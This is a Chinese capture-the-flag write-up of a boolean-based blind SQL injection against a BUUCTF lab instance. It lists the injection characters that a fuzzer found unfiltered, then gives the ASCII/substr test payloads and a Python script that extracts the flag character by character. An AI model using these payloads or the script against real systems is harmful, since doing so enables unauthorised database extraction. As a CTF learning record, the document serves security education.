fuzz模糊测试没爆SQL 注入的字符如下: (指的是形如id= 1 ,替换掉1 ) ' a' ? ,@variable PRINT select insert as or procedure limit asc desc delete update distinct having truncate replace like bfilename to_timestamp_tz tz_offset % 20 $(sleep% 2050 )'sqlattempt1 (sqlattempt2) | %7C *| %2A%7C *(|(mail=*)) %2A%28%7C%28mail%3D%2A%29%29 *(|(objectclass=*)) %2A%28%7C%28objectclass%3D%2A%29%29 ( %28 ) %29 & %26 ! %21 / // */* " # - -- \x23 \x27 @variable %20' sleep% 2050 '
这时候,就不能老是赖着一种测注点的方法了。
以前测试的习惯: 'or ' 1 '=' 1 ' (经常以' 开头) ' 现在测试的情况: 尝试去掉' 去测试注入。
测试流程
post: id=1 /1 output: Hello, glzjin wants a girlfriend. post: id=(1 )=(1 ) output: Hello, glzjin wants a girlfriend. post: id=(1 )=(2 ) output: Error Occured When Fetch Result.
布尔盲注 使用布尔盲注:
post: id= (ASCII(substr((select (flag)from (flag)),1 ,1 ))= 102 ) return : Hello, glzjin wants a girlfriend. post: id= (ASCII(substr((select (flag)from (flag)),1 ,1 ))= 103 ) return : Error Occured When Fetch Result.
看懂上面的东西,我们就能做一个测试脚本了:
获取每个字符串,比对字符串的ascii码值,正确则拼接字符串形成最终flag
原理都懂了,下面就借用下脚本:
import requestsimport stringdef blind_injection (url ): flag = '' strings = string.printable for num in range (1 ,60 ): for i in strings: payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))' .format (num,ord (i)) post_data = {"id" :payload} res = requests.post(url=url,data=post_data) if 'Hello' in res.text: flag += i print (flag) else : continue print (flag) if __name__ == '__main__' : url = 'http://64368c9f-dd87-4c49-b9a1-d4b82e98c87a.node3.buuoj.cn/index.php' blind_injection(url)
总结 SQL布尔盲注
ASCII(substr((select (flag)from (flag)),1 ,1 ))= 103
最后 感谢此博客1 和博客2 带来的启发,感谢末 初 的简易脚本。